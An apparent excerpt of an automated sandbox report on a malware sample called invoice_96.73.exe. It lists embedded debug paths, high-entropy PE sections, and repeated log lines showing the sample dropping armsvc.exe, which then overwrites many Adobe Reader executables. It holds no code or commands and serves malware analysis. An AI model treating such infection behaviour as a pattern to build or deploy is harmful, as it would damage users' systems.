Source:	Binary string: \x86\ship\0\dw20.exe\bbtopt\dw20O.pdb source: armsvc.exe, 00000002.00000003.431900302.0000000002150000.00000004.00001000.00020000.00000000.sdmp, DW20.EXE.2.dr
Source:	Binary string: ieetwcollector.pdbH source: armsvc.exe, 00000002.00000003.378562857.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.378697876.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\toolkit\components\maintenanceservice\maintenanceservice.pdb source: armsvc.exe, 00000002.00000003.382555464.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\java_objs\java.pdb source: armsvc.exe, 00000002.00000003.449717212.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, java.exe.2.dr
Source:	Binary string: TextExtractor.pdb source: armsvc.exe, 00000002.00000003.528202244.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ehRecvr.pdb source: armsvc.exe, 00000002.00000003.367743186.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: y\x64\ship\0\ose.exe\bbtopt\oseO.pdb source: armsvc.exe, 00000002.00000003.388508123.00000000020C0000.00000004.00001000.00020000.00000000.sdmp

Source: armsvc.exe.0.dr	Static PE information: section name: .didat
Source: elevation_service.exe.2.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.2.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.2.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.2.dr	Static PE information: section name: .voltbl
Source: elevation_service.exe.2.dr	Static PE information: section name: _RDATA

Source: invoice_96.73.exe	Static PE information: section name: .reloc entropy: 7.876658513199357
Source: AdobeCollabSync.exe.2.dr	Static PE information: section name: .reloc entropy: 7.745437433816161
Source: ehrecvr.exe.2.dr	Static PE information: section name: .reloc entropy: 7.947759158164801
Source: FXSSVC.exe.2.dr	Static PE information: section name: .reloc entropy: 7.938155100469492
Source: elevation_service.exe.2.dr	Static PE information: section name: .reloc entropy: 7.9503349211039165
Source: sppsvc.exe.2.dr	Static PE information: section name: .reloc entropy: 7.942248601296767
Source: VSSVC.exe.2.dr	Static PE information: section name: .reloc entropy: 7.931247010308512
Source: wbengine.exe.2.dr	Static PE information: section name: .reloc entropy: 7.933039646823671
Source: wmpnetwk.exe.2.dr	Static PE information: section name: .reloc entropy: 7.923593696253763
Source: SearchIndexer.exe.2.dr	Static PE information: section name: .reloc entropy: 7.941858190492632
Source: setup.exe.2.dr	Static PE information: section name: .reloc entropy: 7.9408025581316295
Source: CCleaner.exe.2.dr	Static PE information: section name: .reloc entropy: 7.785488048281558
Source: CCleaner64.exe.2.dr	Static PE information: section name: .reloc entropy: 7.927956703420215
Source: RdrCEF.exe.2.dr	Static PE information: section name: .reloc entropy: 7.905381706036114
Source: Aut2exe.exe.2.dr	Static PE information: section name: .rsrc entropy: 7.818525491808237
Source: Aut2exe_x64.exe.2.dr	Static PE information: section name: .rsrc entropy: 7.818635676263212
Source: AutoIt3_x64.exe.2.dr	Static PE information: section name: .reloc entropy: 7.9509701918108
Source: RdrServicesUpdater.exe.2.dr	Static PE information: section name: .reloc entropy: 7.939448077885585
Source: AcroRd32.exe.2.dr	Static PE information: section name: .reloc entropy: 7.920315636020403
Source: DW20.EXE.2.dr	Static PE information: section name: .reloc entropy: 7.94461005915879

Persistence and Installation Behavior

Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
